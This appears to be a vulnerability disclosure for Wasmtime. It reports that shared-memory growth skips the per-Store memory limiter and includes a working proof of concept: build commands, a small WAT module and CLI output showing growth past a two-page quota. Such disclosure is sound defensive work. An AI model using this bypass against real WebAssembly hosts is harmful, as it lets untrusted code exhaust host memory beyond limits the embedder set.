Shared Memory Growth Bypasses the Store Memory Limit
Affected HEAD: 3ebfbe5af4927c157d6fcaca42b8dbb6d17b73fb
Sink: crates/wasmtime/src/runtime/vm/memory/shared_memory.rs:95 in SharedMemory::grow
Observed verdict: a shared memory grows beyond StoreLimits::memory_size
Summary
An untrusted WebAssembly module can bypass an embedder's per-Store memory quota when threads and shared memory are enabled. The shared-memory memory.grow path discards the Store resource limiter, so the module can grow a one-page memory by ten pages even when the configured limit is two pages, consuming host memory or address space beyond the boundary selected by the embedder.
Detail
Ordinary linear-memory growth receives the Store's configured limiter. SharedMemory::grow in crates/wasmtime/src/runtime/vm/memory/shared_memory.rs instead calls the underlying allocator with no limiter:
let result = vm::assert_ready(memory.grow(delta_pages, None))?;
Passing None means the StoreLimits::memory_size check is never consulted on this path. The PoC declares a shared memory with an initial size of one page and a module maximum of 1,024 pages. Wasmtime is configured with max-memory-size=131072, or two 64-KiB pages. Calling the exported grow(10) returns 1, the previous page count, which proves the growth succeeded; enforcement of the two-page Store limit would make memory.grow return -1.
The reproduction calls the original Wasm instruction through the stock CLI. It does not add or modify a harness.
Reproduce
set -eu
git clone --depth 1 https://github.com/bytecodealliance/wasmtime.git
cd wasmtime
git rev-parse HEAD
cargo build --bin wasmtime --no-default-features \
--features 'run,wat,cranelift,compile,threads,clap/default,clap/wrap_help'
cat > shared-grow.wat <<'WAT'
(module
(memory (export "mem") 1 1024 shared)
(func (export "grow") (param i32) (result i32)
(memory.grow (local.get 0))))
WAT
./target/debug/wasmtime run \
-W threads=y -W shared-memory=y -W max-memory-size=131072 \
--invoke grow shared-grow.wat 10
Observed output on the affected HEAD:
3ebfbe5af4927c157d6fcaca42b8dbb6d17b73fb
warning: using `--invoke` with a function that takes arguments is experimental and may break in the future
warning: using `--invoke` with a function that returns values is experimental and may break in the future
1
Credit
Zheng Yu @ DepthFirst